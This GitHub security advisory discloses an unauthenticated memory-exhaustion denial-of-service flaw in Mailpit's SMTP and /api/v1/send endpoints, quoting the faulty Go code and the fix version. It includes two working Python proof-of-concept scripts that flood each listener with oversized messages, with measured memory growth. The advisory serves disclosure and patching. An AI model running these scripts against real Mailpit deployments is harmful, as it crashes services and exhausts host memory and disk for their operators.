Skip to content

Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes

High severity GitHub Reviewed Published May 14, 2026 in axllent/mailpit • Updated May 19, 2026

Package

gomod github.com/axllent/mailpit (Go)

Affected versions

< 1.30.0

Patched versions

1.30.0

Description

Summary

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code
internal/smtpd/smtpd.go:107 — the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}

internal/smtpd/smtpd.go:863-877 — the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

    if s.srv.MaxSize > 0 {                                   // ← only when set
        if len(data)+len(line) > s.srv.MaxSize {
            _, _ = s.br.Discard(s.br.Buffered())
            return nil, maxSizeExceeded(s.srv.MaxSize)
        }
    }
    data = append(data, line...)                             // ← otherwise grows unbounded
}

internal/smtpd/main.go:223-248 — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52 — HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb         = int(sys.argv[3])  # message size, MiB

s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
            b"MAIL FROM:<a@b.com>\r\n",
            b"RCPT TO:<c@d.com>\r\n",
            b"DATA\r\n"]:
    s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848    # ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120)
s.sendall(
    b"POST /api/v1/send HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000      # comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

References

@axllent axllent published to axllent/mailpit May 14, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-45713

GHSA ID

GHSA-fpxj-m5q8-fphw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.